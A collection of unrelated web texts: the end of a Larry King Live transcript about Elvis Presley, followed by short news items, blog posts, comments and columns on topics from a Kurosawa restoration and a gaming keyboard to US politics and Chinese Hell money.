KING: Yes, go ahead. Hi.
CALLER: This question is for Jerry Shilling.
KING: Go ahead.
CALLER: I saw you in Memphis this past July for the 50 years of Elvis at Sun Studio. And I was wondering how often do you visit Graceland? Is it hard for you to go back and relive the memories, or do you enjoy visiting Memphis?
SCHILLING: I enjoy visiting Memphis. Graceland is bittersweet. My best memories in life is living at Graceland. And I loved the way it is. But you know, it's an emotional thing to go back there. And I loved Memphis, it's my hometown. I came out here with Elvis many years ago. But I think they have kept Graceland just as it was when we lived there.
KING: You like it, Patty?
PERRY: I loved Graceland when I went there the first time. It was peaceful, it was beautiful. But now to me it's like Disneyland, you know what I mean?
KING: Did Elvis have a home out here?
PERRY: He had many.
SCHILLING: Well, he leased homes out here, Larry, and over the years he did buy one in Palm Springs.
PERRY: And he had one, he also had one in Monterey (ph) that he had bought also.
KING: OK. We'll take a break and come back. We'll be back with some more moments and more phone calls for this outstanding group, looking back at what would have been Elvis' 70th birthday. Don't go away.
(MUSIC)
(COMMERCIAL BREAK)
(BEGIN VIDEO CLIP)
NARRATOR: Elvis Presley weds Priscilla Ann Beaulieu. And one of America's richest teenage singing idols promises to love, honor and obey. The couple first met in Germany. Both are Memphis natives, and Elvis, 32 gave Priscilla Ann, 22 a wedding ring with 21 diamonds. Why did the Pelvis desert bachelorhood? Said he, it's about time.
(END VIDEO CLIP)
KING: By the way, "Jailhouse Rock" we played it a couple times tonight. It was rereleased in England in connection with Elvis' 70th birthday. It's the No. 1 song in England. And it's his 19th No. 1 song in Great Britain. And Kathy was telling me he thought he wouldn't be remembered.
WESTMORELAND: That's right. He said no one -- how are people going to remember me. No one is going to remember me. I have never done anything lasting, never done a classic film.
KING: Boy, was he wrong.
Madison, Wisconsin. Hello.
CALLER: Hi, Larry. I'm a big fan.
My question is for the panel. I grew up with the Beatles, but I always had great respect for Elvis Presley. And I'm wondering if anyone on the panel thinks that his death, such as it was, could have been prevented?
LACKER: Yes.
KING: Who said yes?
LACKER: It could have been, but that would have been up to Elvis.
UNIDENTIFIED MALE: Exactly.
STANLEY: At the end of the day, a lot of things have been said about Elvis' death and what happened and those responsible. But Marty's right, Elvis was ultimately responsible for himself. We could only take care of him as much as we could. And on that tragic day on August 16, when I walked in that bathroom and saw him gone, nobody hurt as much as I did or the people on this panel. But the fact is, we couldn't stop him. I'm working on a film project and the premise is we protected the King from everybody but the King himself. And that's the tragedy. You know, we miss him so much. Here's his 70th birthday.
But the only way it could have been prevented, Marty, it's so right on, Elvis could have made the choice and unfortunately, he made the wrong one.
KING: Let's find out what you do.
Anita, what are you doing now?
WOOD: I am director of our kindergarten daycare at our church and I also teach in Pittsburgh, Mississippi. Larry!
(LAUGHTER)
KING: Go ahead.
WOOD: Larry, I want to tell you my name -- my name is Anita Brewer now. I'm married to fabulous football player, an ex-football player.
UNIDENTIFIED MALE: That's right. An all-American.
KING: Anita Brewer.
WOOD: Right.
KING: Where did he play?
WOOD: When or where? He played for the New Orleans Saints and Cleveland Browns, Ole Miss first.
UNIDENTIFIED MALE: Elvis' favorite team, the Cleveland Browns.
KING: That was Elvis' favorite team, was the Browns?
All right. Let me go around here, Patty?
PERRY: I'm semi-retired, but I work in Beverly Hills. I cut hair for mostly men at (UNINTELLIGIBLE) Salon on Cannon Drive.
KING: OK.
What are you doing, Kathy?
WESTMORELAND: I am appearing on January 29 in Parumph, Nevada, Area 51. So if I disappear anybody, I'm in an UFO.
I just finished an HBO special with Dick Dale, king of the surf guitar.
KING: What are you doing, David? STANLEY: I have a company called Impello (ph) Films here in Dallas, Texas. I'm working on an independent film called "the Head Hunter," that the nickname Elvis gave me about a 16-year-old kid in high school.
KING: I'm running out of time.
STANLEY: In high school. See it in theater soon. Give peace a chance.
KING: Marty, what are you doing?
LACKER: I'm semi-retired and basically do some consulting work in the music business.
KING: Jerry?
SCHILLING: I managed the Beach Boys and Jerry Lee in the past. Currently I'm doing a show for CBS on Elvis, called "Elvis by the Presleys." It's a family look at Elvis.
KING: And Lamar, what are you doing?
FIKE: I'm a consulting agent for a collector in the midwest who has Elvis memorabilia, and just everything else, presidential articles, everything. He has a big collection, so I'm happy.
KING: You've given us all a great hour, and I thank you very much.
Our thanks too to Warner Home Video and Paramount Home Entertainment for the movie clips you've seen on our show tonight. All of the titles we've shown are all available on DVD.
I'll be back in a couple minutes and tell you about the weekend. Don't go away.
(COMMERCIAL BREAK)
KING: Tomorrow night, we'll repeat our interview with Kevin Spacey and the gang about the late Bobbie Daryn, someone Elvis Presley liked a great deal.
Aaron Brown is standing by in New York to host "NEWSNIGHT."
TO ORDER A VIDEO OF THIS TRANSCRIPT, PLEASE CALL 800-CNN-NEWS OR USE OUR SECURE ONLINE ORDER FORM LOCATED AT www.fdch.com
And that’s all you need to know about why the poor are invisible in Presidential elections, or really any elections, in this country. Mitt Romney uses the poverty rate as an attack line and that’s about it.
To listen to Presidential debates and stump speeches, you would think there’s a guaranteed wage in the country at around the median income of $50,000, because that’s the lowest wage that ever gets mentioned. We hear about the middle class but not the working poor. We hear about Medicare and Social Security, which everyone gets, but not Medicaid, the safety net program for the poor. We hear about welfare in the context of “other people” getting benefits that the hard-working middle class does not.
The only policy prescription to fight poverty in three debates, which came in the context of a gun control question, was Mitt Romney telling people to get married, because “if there’s a two parent family, the prospect of living in poverty goes down dramatically.”
You get the sense that we need to exhume Michael Harrington and have him write a sequel to The Other America, to spark attention on this topic. But I doubt that would do it. It’s the 50th anniversary of The Other America, and we’ve seen plenty of tributes. Monica Potts wrote this incredibly good in-depth study of one of the poorest counties in the country, in Kentucky. The source material already exists for a consciousness-raising moment. We haven’t had it.
We haven’t had it because of a couple reasons. One, the internalized shame of being poor:
And yet, said Harris-Dawson, many poor people have an interesting thing in common. They don’t consider themselves poor. “We actually came up with a list of people on welfare and went door-to-door, and do you know what? The majority of people said they were not poor,” said Harris-Dawson, who thinks the candidates may be aware of this phenomenon. He said people who were out of work framed it as a temporary condition related to the distressed economy or some other factor. “Being poor has been so demonized. Being poor means being on ‘Jerry Springer.’ That’s what it means nowadays, and who wants to be on ‘Jerry Springer?'”
The second reason for the invisibility of the poor is rampant inequality, which insulates those in a position to ameliorate the situation. The rich build gates and walls, whether physically or intellectually (their media diet helps them to block out unpleasant information), and the poor stay on the other side.
I suppose the answer a politician would give to all this is the standard “rising tide lifts all boats” line. The IMF, of all organizations, had a great line about this: “When a handful of yachts become ocean liners while the rest remain lowly canoes, something is seriously amiss.”
One of the reasons the messaging on Obamacare failed so badly is that, if you really wanted to sell it, you would have to note its benefits to poor people, mainly through the expansion of Medicaid. You can’t specifically help the poor and say it out loud in this country anymore, I guess. We had a war on poverty, and poverty won.
Ran 4K Restoration Trailer Posted January 5, 2016 05:55 PM by Webmaster
Rialto Pictures has sent us a brand new trailer for the recent 4K restoration of Japanese director Akira Kurosawa's classic film Ran (1985), starring Tatsuya Nakadai, Akira Terao, Jinpachi Nezu, Daisuke Ryu, and Mieko Harada. Ran opens Friday February 26 at New York's Film Forum.
The restoration: The film has been restored based on a 4K scan by the French laboratory Éclair, under StudioCanal's supervision. Based on an original negative, the majority of the restoration work was done manually, frame by frame, with the film's Director of Photography, Mr. Ueda, approving the color grading. (Technical information courtesy of StudioCanal).
Also included with this article is StudioCanal's official poster for the recent 4K restoration of the film.
Synopsis: With Ran, legendary director Akira Kurosawa reimagines Shakespeare's King Lear as a singular historical epic set in sixteenth-century Japan. Majestic in scope, the film is Kurosawa's late-life masterpiece, a profound examination of the folly of war and the crumbling of one family under the weight of betrayal, greed, and the insatiable thirst for power.
Source: Blu-ray.com | Permalink | [Country settings]
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Ben-hur Jan 05, 2016 Could Ran be coming back to Criterion? Say it could be
Alex DeLarge Jan 05, 2016 Goodbye awful Studio Canal Blu-ray and hello....Criterion?
A Prosthetic Prophet Jan 05, 2016 While a Criterion release would be preferable, I'm fine with Studio Canal re-releasing this if the quality is as good as their 4k restored release of The Third Man.
dannalexcon Jan 05, 2016 Great news! Kurosawa's best IMO.
Top contributor mrjohnnyb Jan 05, 2016 Wow! Awesome! dkelly26666 Jan 05, 2016 I saw this in a theater in 1986. I'd LOVE to see it in a theater, again.... 30 years later...
Top contributor RBBrittain Jan 05, 2016 If the icon with this article is correct (not sure if it is), we should expect a Criterion since Janus Films is affiliated with Criterion. (Not sure about Rialto Pictures.)
bingtau Jan 05, 2016 Seeing how it was the first ever title Criterion was gonna release on blu it would be a nice long awaited treat!
tama Jan 05, 2016 It'll be interesting to see if they release this in N. America. Luckily the Third Man was region free since it has yet to be re-released in the states.
Top contributor rapta Jan 05, 2016 Pretty sure it's already been confirmed that StudioCanal will be releasing this restoration on Blu-ray sometime in 2016. I think it was MichaelB who said he had contributed for it.
I will be ditching the old Optimum disc and saving up to get this. Hopefully it will be a special set like The Third Man, but I'm happy with whatever, as long as it seems worth the money (i.e. not £15.99 for one disc and a scarce amount of extras, in the case of Hiroshima Mon Amour to give one example).
Koroshiya Ichi Jan 05, 2016 Saw the 4K restoration last November in The Netherlands.
It looked miles better than the Studio Canal Blu-ray, so people who haven't seen it yet will be in for a treat.
Top reviewer Cremildo Jan 05, 2016 Can't wait for the new Blu-ray to come out, whether by Criterion or StudioCanal. uther Jan 05, 2016 Where are posters Criterion getting from? It says 'under StudioCanal's supervision' so unless SC loses the rights they will release it which hopefully be a lot better then it's last BD which was dvd quality as is The Lady Killers.
Dont expect Criterion to release Spartacus either. JohnnyFontane Jan 05, 2016 The StudioCanal blu-ray's problem wasn't just the picture quality, but... correct me if I'm wrong, there were some subtitle spelling/grammatical errors. Showed me just how much the people in charge of it didn't seem to give a crap.
hedliniv Jan 05, 2016 Will this be a 4k (format) release or a 4k scan (1080p) blu-ray release?
TheNakedGenius Jan 05, 2016 Back in the early blu-ray days when it was Optimum they did release a bunch of sub par (Léon) and downright terrible (Escape From New York) quality discs. Since then, and becoming Studio Canal I find them to be a continuously fantastic distributor, so I'd be very happy for a release of this from them. People with region A players are lucky they can watch Kurosawa's other films from Criterion though, being in the UK BFI's releases really don't look anywhere as good as Criterion's.
Top contributor Dubstar Jan 05, 2016 oh just release this on bluray AND UHD and I'll be happy.
fdm Jan 05, 2016 I'll take a better blu-ray. My favorite Kurosawa, though I still have a few to get to yet. (It was pretty sweet in the theater when it first came out.)
broganreynik Jan 06, 2016 Whoa, where can I get my hands on that poster?!?
Also, Ran restoration?!? Very excite!
Dr_Bedlo Jan 06, 2016 I agree with "A Prosthetic Prophet". "The Third Man" box set is amazing! If SC can do that with "Ran", I'm all in...take my money!
acua Jan 06, 2016 Need to watch this again. First time I saw it ages ago I found it pretty boring... ZoetMB Jan 06, 2016 Loved this film when I saw it theatrically, although my companion did say, "why did it have to be so long?" I replied, "because it's based on Shakespeare", but I didn't find it too long at all. GoBlu08 Jan 06, 2016 I need this. Also Criterion should release a comprehensive Kurosawa collection on bluray
JediFonger Jan 06, 2016 i've got almost all the copies of ran. i've read that the blurriness is inherent to the original master/footage shot on film... so curious to see how much better this restoration will be.
Top contributor Grethiwha Jan 06, 2016 Wow!!! I didn't know this was coming! I'll be the first to defend the old Studio Canal blu-ray as a solid little package – special-feature-rich and better-than-DVD quality, representing perhaps the best they could do at the time – certainly the best way to own the film for the last 6 years. But it did leave quite a lot to be desired, PQ-wise, and I'll be first in line when this new restoration hits blu-ray! A no-brainer double-dip; one of my 5 favourite movies of all-time, an incredibly beautiful film, and the idea of this possibly getting a new release with 5-star video!!!
A quote from Dustin Somner's original review on this site of the old release:
"I wish I could say the new Blu-ray edition of Ran is the definitive version of an iconic masterpiece, but I'm afraid I was left slightly underwhelmed. I wholeheartedly believe it surpasses prior editions in every way, and might go so far as to conclude this is the best the film will ever look, but I can't shake the nagging hope that someday we'll witness the results of a dramatic restoration effort. After all, if Paramount could rescue The Godfather films, there's reason to believe the same effort might eventually land on this classic. Having said that, I doubt a restoration is anywhere on the foreseeable horizon, and Ran deserves a spot on the shelf of any serious film fan." inderweltsein Jan 06, 2016 @uther
This poster was the one from the Lumiere Festival in Lyon in October.
And StudioCanal can not lose the rights.
They are the worldwide rightholder as the inheritor of the rights of the producing company of the great Serge Silberman
(with the exception of Japan where Kadokawa is the rightholder, as they acquired the japanese producing company) Phonecia Taylor Jan 07, 2016 Next to Casablanca this is probably the most overrated movie of all time. I couldn't even get thru one viewing of it. Compared to Rashomon or Seven Samurai this movie is a dog. The original bluray was garbage so for those of you who want this I hope they make a better transfer for you.
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Today at GamesCom in Germany, Mad Catz revealed the S.T.R.I.K.E.7, its new "Professional Gaming Keyboard". While the S7 is presumably targeted at a larger audience than actual career gamers, its profuse feature-set and hefty price tag ($299.99 msrp) are probably excessive for anyone else.
The S7 is one sweet keyboard. On top of LAN party envy, its innovative design promises the kind of over-the-top custom functionality that could finally give you that decisive competitive edge (at least, that's what Mad Catz is banking you'll tell yourself).
Interchangeable rubberized cursor keys and highly adjustable palm rests facilitate maximum comfort and control, and the keyboard's modular components are all removable and reconfigurable. If your keyboard tray's short on space, you can detach the number pad. If you still want to use it, the S7's cable attachments will let you keep it on a different level of the desk (or the left side of the main keyboard).
The S.T.R.I.K.E.7 comes with a few pinky-stretching macro keys, but most of its macro functionality is built into the V.E.N.O.M. display attachment. The S7's touch-capacitive LCD - definitely the keyboard's biggest selling point - supports custom macros, quick-launch for games, apps, and websites, and media controls with program-specific volume options. Inbuilt apps include a clock/timer, a journal for game-specific notes, plus full support for Teamspeak https://www.teamspeak.com/.
As rad as the S7 is, it's hard to recommend any peripheral at this price. For the same chunk of change you could pick up a pretty decent graphics card or five or six brand new games - or, for that matter, a PS3 or Xbox 360. Still, there's no denying the S.T.R.I.K.E.7 would look pretty sweet beside the R.A.T. mouse (approx. $60), which Mad Catz is marketing as the "perfect companion piece" to the new keyboard. And we bet it could type up a mean term paper.
Brazil wants to switch from stick to carrot in its fight against deforestation, with Minister Jose Sarney Filho telling reporters that enforcement and penalties used to decrease the clearance of forest will not be enough.
The Amazon rainforest, the world's largest tropical one, soaks up vast amounts of carbon and its preservation is seen as vital in the fight against climate change.
Sarney Filho told reporters that payments for so-called "environmental services" to landowners who maintain a minimum percentage of their land in its natural state, is the next step.
"Command and control has already reached its limit. If we don't immediately start to demonstrate that forest services will be fairly paid, we will have serious problems," Sarney Filho said.
In the Amazon, landowners generally must maintain 80 percent of their land in their natural state while being allowed to develop the other 20 percent with the rate varying for different biomes.
"We need to start discussing the reward to those that preserve their land," Sarney Filho said.
The matter of how to value and fund this preservation will be featured at next month's U.N. climate change conference in Bonn, Germany, on guidelines related to the Paris climate accord.
It will be the first meeting of the group since U.S. President Donald Trump announced plans to pull the United States out of the Paris Accord, which seeks to limit the rise in temperatures to "well below" 2 degrees Celsius (3.6 Fahrenheit) above pre-industrial times.
While programs like the Amazon Fund, which is sponsored by Norway and Germany, pay for efforts to stop deforestation, they do not pay these types of rewards to landowners, Sarney Filho said.
He did not offer specifics on how to pay for them.
Brazil is drawing up a national plan for implementing the Paris Accord after seeking opinions from companies, environmentalists, indigenous groups and others.
Enlarge this image toggle caption Maxell MacKenzie/ Maxell MacKenzie/
This President's Day, a group of historians in Washington, D.C., decided they wanted to do something different to recognize the legacy of Abraham Lincoln. But how do you memorialize someone who is already one of the most memorialized people in history?
Their solution: to physically illustrate Lincoln's importance by creating a tower of books written about him. The tower measures about eight feet around and 34 feet — that's three and a half stories tall.
"It makes a real statement to anyone that this is an important guy and there was a whole lot written about him, and there continues to be a whole lot written about him," says Paul Tetreault, director of Ford's Theatre, where Lincoln was assassinated in 1865.
The towering tribute to the 16th president rises up through the middle of a spiral staircase in the lobby of the new Ford's Theatre Center for Education and Leadership, located just across the street.
Some 15,000 books have been written about Lincoln — more books, says Tetreault, than have been written about any other person in world history, with the exception of Jesus Christ.
Nearly 7,000 of these books are contained in the tower. They even look authentic up close (click here to get a closer look) but the tower's books are actually replicas made of pieces of bent aluminum, with the covers of the real books printed on them.
Subscribe for just £73 — including a year’s full print and digital access and a free bottle of champagne.
A few days ago I went truffle hunting in Piedmont. It’s been a bumper year for white truffles in northern Italy — the best ever, according to some experts — thanks to climate change and an exceptionally wet summer. My guide was a brilliantly sharp-eyed Italian, Mario, whose dog Rex did the snuffling. Mario told me that dogs are better trufflers than pigs because pigs often eat the truffles before you can get your hands on them. We (or rather Rex) found two, and I have been devouring truffle since I returned; I’ve had it with scrambled eggs, mashed potato, pasta and even just straight onto toast. I didn’t think it was possible to get bored of something so expensive, but I must say I’m a bit truffled out, and my flat now smells of truffles. That’s what people call a first world problem, I know.
I’ve just passed my Wine and Spirit Education Trust (WSET) advanced wine exam with distinction. I spent lots of time swotting up — quaffing, essentially, but with pen and paper to hand — and hanging out in an excellent little wine shop near my office called The Sampler. I tried to sneak in when no paps were about; it might have been a bit embarrassing if I’d been photographed repeatedly entering an upmarket offy for several afternoons running.
Anyway, I fancy myself as a bit of a wine expert now, and am contemplating taking a full diploma, described on the WSET website as ‘the stepping-stone to the Master of Wine qualification’. From party planner to sommelier — now that’s what I’d call career progression. I hear The Spectator has a very good wine club. Maybe I should sign up with a view to taking over.
The church in which I was baptised is to close. St Andrew’s, Bradfield, is a handsome flint building, extensively redesigned by George Gilbert Scott in the 1840s, which sits in the middle of Bradfield College, a thriving public school. The school was originally founded to provide choristers for the church. Now the College is reportedly in talks to buy St Andrew’s from the Diocese of Oxford. I’m sure the school can be trusted to look after the property well; nonetheless the story makes me sad — passing of time and all that.
Recently, in Jackson Hole, Wyoming, I tried my hand at western dancing. Wyoming is real cowboy country; the mountain scenery is stunning. Everyone wore cowboy boots and the men had big, non-ironic moustaches that curled upwards. It’s easy to get carried away with the whole free-riding atmosphere. My dance partner was about 80, and I did my best to keep up. But it turns out I have two left feet, at least as far as moving to rhythm is concerned. Embarrassingly, my cringe-inducing moves were caught on camera and posted on the internet. I now worry I’ve dashed my chances of making it on to Strictly Come Dancing, which is a shame as I’ve just bought a military-style costume like the famous one worn by Cheryl Cole in the video of ‘Fight for this Love’. It includes a pair of satin slip-leg trousers, V-body leotard and fingerless gloves.
I am an enthusiastic, albeit rather amateur, salmon fisher, and recently I was thrilled to catch a ten-pounder — my first English catch, too, on the river Tyne. I used a fly called ‘simply red’, because I’ve always been a secret fan of Mick Hucknall and his vivacious ginger locks. What wonderful names we give these little fish lures: ‘wee monkey’, ‘hairy mary’ and ‘posh tosh’. For a spinning rod there’s even a ‘flying condom’.
Christmas is coming fast, and I’m feeling full of cheer. Nothing better than a bit of biting cold outside and fun indoors. Best of all I like to do the crossword while listening (and singing along) to carols on the radio. Does that make me old? I’d already bought most of my presents online well ahead of ‘Cyber Monday’ last week. Like many women, I tend to buy far too many things and then return about two thirds of them by post. It’s strange how consumer culture now means that we buy things before making the decision as to whether we actually want them. Men are different — at least the men I know are.
With rapper-turned-talk host Queen Latifah officiating, 33 couples – some made up of two men or two women – got married near the end of the 56th annual Grammy Awards at Staples Center in Los Angeles.
Madonna popped up during the spectacle to sing “Open Your Heart.” She followed rap duo Macklemore and Ryan Lewis singing their hit “Same Love,” which was embraced last year by the “marriage equality” movement and contains the lyrics:
The right-wing conservatives think it’s a decision
And you can be cured with some treatment and religion
The mass wedding ceremony “was the height of fairness and love and the power of love for all people, at any time, in any combination,” Daft Punk songwriter Paul Williams told the Grammys audience.
Other than on Twitter, most commentators appeared to deem it appropriate for the Grammys to sponsor an apparent broadside against music fans who believe marriage is the union of a man and a woman. Mikael Wood, a pop music writer for the Los Angeles Times, opined to CNN’s Carol Costello this morning that conservatives aren’t the audience for the music awards show, anyway.
But Heritage Foundation scholar Ryan T. Anderson, 32, who writes and speaks widely on why marriage matters, suggested that the Grammys producers were as tone deaf as New York Gov. Andrew Cuomo, who recently said some conservatives have no place in his state.
“If the music industry is saying that conservatives are not welcome, this shouldn’t be cause for complaint and hand-wringing,” Anderson told The Foundry. “It is an opportunity for more conservatives to become better artists and culture creators, so they’re not dependent on those who trash their values.”
“We’re not taking a stand on a political issue,” Neil R. Portnow, president of the National Academy of Recording Arts and Sciences, told reporters after the show. “We’re taking a stand on a humanitarian issue. … This is about people who love each other and want to be together.”
In the ongoing marriage debate, Heritage’s Anderson is used to addressing the intersection of culture and law — in this case, legislation or court action that redefines marriage.
“Culture shapes law, but so too does law shape culture. The law both reflects our values and teaches values, especially to younger generations,” Anderson told The Foundry.
Barack Obama struck a note of foreign policy confidence Monday night, telling an Arabic news station that al Qaida leaders and Osama bin Laden "seem nervous" now that they don't have George W. Bush as a recruiting tool.
In his first formal interview since taking office, the president spoke with the Dubai-based station Al Arabiya on topics pertinent to the Arab and Muslim worlds. Much of the interview was spent defining the new approach that the United States would implement in that region: respectfulness over divisiveness, listening over dictating, engagement over militarism. But the president drew the line when it came to terrorist organizations.
"Their ideas are bankrupt," he told host Hisham Melhem, when asked to respond to recent audio clips from al Qaida leadership calling him various epithets. "There's no actions that they've taken that say a child in the Muslim world is getting a better education because of them, or has better health care because of them."
Pressed later in the interview to comment on Bush's use of the term 'War On Terror,' and the implications that the phrase held, Obama once again distanced himself from his White House predecessor.
WATCH THE INTERVIEW:
"I think that you're making a very important point. And that is that the language we use matters," he said, according to a transcript provided by the White House. "We cannot paint with a broad brush a faith as a consequence of the violence that is done in that faith's name. I cannot respect terrorist organizations that would kill innocent civilians and we will hunt them down. But to the broader Muslim world what we are going to be offering is a hand of friendship."
If Obama's discussion on terrorism were marked by tones of firmness, his positions on other Middle East issues seemed defined by fresh thinking and inclusiveness. At one point he did something that would have been anathema on the campaign trail: he touted his hereditary and biographical links to the Muslim world.
"I have Muslim members of my family," said the president. "I have lived in Muslim countries."
Later on, Obama pledged to engage Iran as one of several means of preventing that country from developing a nuclear weapon. He promised to follow through on his campaign commitment "to address the Muslim world from a Muslim capital," and said that George Mitchell, his recently appointed Middle East envoy, was going to the region to "listen" because "all too often the United States starts by dictating."
As for the Israel-Palestine conflict, Obama restated the United State's unique relationship with the Jewish state but refused to say that such a relationship limited the prospect for peace in the region.
"Israel is a strong ally of the United States," said Obama. "They will not stop being a strong ally of the United States. And I will continue to believe that Israel's security is paramount. But I also believe that there are Israelis who recognize that it is important to achieve peace. They will be willing to make sacrifices if the time is appropriate and if there is serious partnership on the other side."
The interview was the first one Obama has granted since being elected President. And while Bush and former Secretary of State Condoleezza Rice both have appeared on the network (which is Saudi financed), the president's media team seemed to be driving home a message in their choice of venue. The interview itself is as much a signal to the Muslim world as the words he said.
Click here to read the full transcript of the interview.
EARLIER:
Barack Obama will do his first formal interview as president with an Arabic cable TV network, ABC News reports. The interview is set to air at 11pm EST, it reports.
As special envoy to the Middle East, George Mitchell heads off to the region to begin work on negotiating a cease fire between Israel and the Palestinians, President Obama has sat for his first formal TV interview with the Arabic cable TV network Al-Arabiya, ABC News has learned.
Al Arabiya is a 24-hour Arabic news channel based in Dubai that broadcasts across five continents, according to its website.
With a global network of correspondents and bureaus in 40 major cities around the world, Al Arabiya has become a leading source of Arabic-language news throughout the world. ... Al Arabiya is part of MBC Group, the largest news and entertainment broadcaster in the Middle East, reaching an estimated 130 million Arabic-speaking people around the world.
In an ad posted to Craigslist Wednesday, the day after Donald Trump defeated Hillary Clinton in the general election, Washington CAN! asked people to apply in order to “fight the Trump agenda.”
The ad was briefly removed by Craigslist for review, before being re-published.
“Our Paid-Training Program is the best around,” it reads. “We will teach you the skills you need to succeed. The combined experience of our management team is over 50 years.
“At Washington CAN! you will work at our Home Office here in Seattle. You will regularly meet with our Organizers, Lobbyists, and Executive Director, and have a real sense of being directly involved in our work.”
Along with wages that start at $15, Washington CAN! offers “benefits in Medical, Dental, Vision, 401(k), Paid Vacation, Paid Sick Days, Holidays, and Leave of Absence.”
After three untethered spacewalks in 1984, the Manned Maneuvering Units (MMUs) were not used again, as NASA decided to only perform tethered spacewalks for safety reasons. However, in 1994, NASA introduced a new backpack - Simplified Aid for EVA Rescue (SAFER), which was tested with a spacewalk. It was the fourth and last untethered spacewalk.
You can read the original New York Times article from 1984 that reported the spacewalk here.
As a sidenote, I just want to take a minute to appreciate the awesome nature of these two photographs. They are truly iconic, and quite literally out of this world. I know that we are somewhat spoiled with space photos - anyone who follows the International Space Station on social media is treated to some really beautiful photos on a daily basis. But these two pictures... That's a man out there. Floating in space. Free. Pretty amazing if you ask me.
The ruling ensured the U.S. government would surrender control of key internet functions to International Corporation for Assigned Names and Numbers (ICANN), the organization which manages, among other things, internet domain names and communications protocols. The transfer took place Saturday.
Texas Attorney General Ken Paxton, joined by Nevada, Arizona, and Oklahoma attorneys general, brought a lawsuit late Wednesday to stop the plan. The states argued that the internet, which was created by and for federal defense agencies, is U.S. government property, and cannot be given away without the consent of Congress. They further argued that ICANN could compromise the integrity of their own websites.
The AGs argued that, hypothetically, ICANN could terminate use of “.gov” or “.mil” domain names and imperil their ability to communicate with their citizens.
They also made a First Amendment argument, asserting that foreign powers could theoretically censor American citizens on the web. Obama’s plan also surrenders control of the root zone file, or the “address book” of the internet. A foreign power which aggressively asserts control over the file could restrict internet access and the spectrum of available websites. In their brief, the AGs wrote:
Through its role in creating and regulating the Internet, the U.S. Government has established a designated forum through which its citizens and states alike may make their voice heard. Plaintiffs seek to not only protect their interests, but as parens patriae, also seek to protect the interests of their citizens to speak freely on the Internet.
The states also made an Administrative Procedure Act (APA) claim, asserting that the National Telecommunications and Information Administration improperly followed the notice and comment phase of APA rulemaking. (RELATED: Obama Admin Wants To Surrender US Control Over Internet To Global Bureaucracy)
“Trusting authoritarian regimes to ensure the continued freedom of the internet is lunacy,” the Texas attorney general said in a statement. “The president does not have the authority to simply give away America’s pioneering role in ensuring that the internet remains a place where free expression can flourish.”
U.S. District Judge George Hanks quickly dismissed the claim. Government lawyers argued the states had no standing to sue, since they could not demonstrate a tangible injury they had suffered because of the move.
Hanks, an Obama-appointee, was nominated to the bench with the approval of Texas Republican Sens. John Cornyn and Ted Cruz. Cruz has been a vocal opponent of the plan to cede new functions to ICANN.
“This transition was envisioned 18 years ago, yet it was the tireless work of the global Internet community, which drafted the final proposal, that made this a reality,” ICANN Board Chair Stephen Crocker said Saturday after the transfer took place. “This community validated the multistakeholder model of Internet governance. It has shown that a governance model defined by the inclusion of all voices, including business, academics, technical experts, civil society, governments and many others is the best way to assure that the Internet of tomorrow remains as free, open and accessible as the Internet of today.”
The state AGs may still appeal the ruling to the 5th U.S. Circuit Court of Appeals.
Follow Kevin on Twitter
Send tips to kevin@dailycallernewsfoundation.org.
So, how much money does Michaels need, exactly? Well, according to the paperwork, she explains she became accustomed to a monthly budget of $128,000 during her nearly 9-year relationship with the iconic rocker.
Michaels also noted that she "has limited income and virtually no savings," while Etheridge "has extensive resources at her disposal and a tremendous earning capacity."
The couple weathered an acrimonious split in April 2010 and share custody of their 5-year-old twins--daughter Johnnie Rose and son Miller. Michaels' most recent court filing also seeks to reduce Etheridge's custodial time with the children, claiming that Etheridge is teaching them to be "distant and withdrawn" to her.
For her part, Etheridge has fired back, filing her own documents accusing Michaels of accidentally burning one of their children with a cigarette, and making "angry and vindictive" verbal and emailed attacks on her character.
Etheridge and Michaels's relationship was positively publicized for many years, starting with extensive coverage of their Malibu commitment ceremony in 2003. When Etheridge was diagnosed with breast cancer a year later, she cited Michaels as a tremendous source of support during her battle with the disease. After her recovery, Michaels gave birth to their twins in 2006, using an anonymous sperm donor.
Etheridge additionally has two other children by her former partner Julie Cypher, whom she separated from in 2000. Both were conceived via a sperm donation from rocker David Crosby, of Crosby Stills & Nash fame.
Etheridge is currently in a relationship with Nurse Jackie creator Linda Wallem, whom she reportedly began dating just months after her split with Michaels.
Related Links:
Melissa Etheridge Videos
I was looking for the fake banknotes which Chinese people burn at funerals or beside a grave to ensure their lost loved one has plenty of spending power in the afterlife. I started my quest in the tourist shops lining Grant Avenue, but quickly hit a snag. All the young Chinese-American people I found there spoke flawless English, but had no idea what I was talking about when I asked if they sold Hell money. The alternate terms “ghost money” and “spirit money” produced an equally baffled response.
Even where Hell money did seem to ring some kind of vague bell, the young people I questioned had no interest in the subject, and clearly couldn’t understand why anyone would be curious about it. I tried approaching one or two of the older people I found in the same shops, but their English didn’t stretch much beyond barking the price of various goods at potential customers, so I had no luck there either.
At the fifth or sixth shop, just as I was ready to give up, I found a charming young teenager who went to fetch her grandfather for me, and stood there translating back and forth as I explained what I was looking for. His face cracked into a big smile at how daft gweilo tourists could be, and between the two of them they directed me to a store about seven or eight blocks away. This took me well away from Grant Avenue’s main drag to a backstreet where only the area’s native Chinese population went to shop.
The store was the size of a large living room, and staffed by an elderly Chinese man. When I think of it now, I remember a dark interior with dust mites dancing in the odd bit of sunlight that managed to find its way in. The place was crammed with display gondolas, each groaning beneath of the weight of goods piled higgledy-piggledy on its shelves. In the back corner, I found a section packed with bundles of Hell banknotes in eight different designs. Each bundle was held together with a cellophane band, and contained about 30 or 40 identical notes. This was in 2004, when the cheapest bundle was priced at 35c and the most expensive at 50c. (1)
Next to the notes, I found a display of the paper replica goods Chinese people also burn at funerals, again with the idea of “transmitting” them to loved ones in the afterlife. At this particular shop, mourners could find paper telephones, games consoles, cigarettes and jewellery. I took a few photographs, then made my selections and took them up to the counter. The old boy there clearly thought I was mad as well, but we got through the transaction with a mixture of smiles and benevolent nods, and that’s how I came by most of the banknotes and all the paper replicas you’ll see illustrating this piece.
A few months later, I repeated the process in London’s Chinatown, again finding it was only the smaller, slightly tattier, shops that could help me. I didn’t find any paper replicas in London, but I did add a few new Hell notes to my collection, an example of which you’ll find at the end of this article. One day, I hope to find a Hell note denominated in British sterling or (better yet) in Euros, but I haven’t managed it yet.
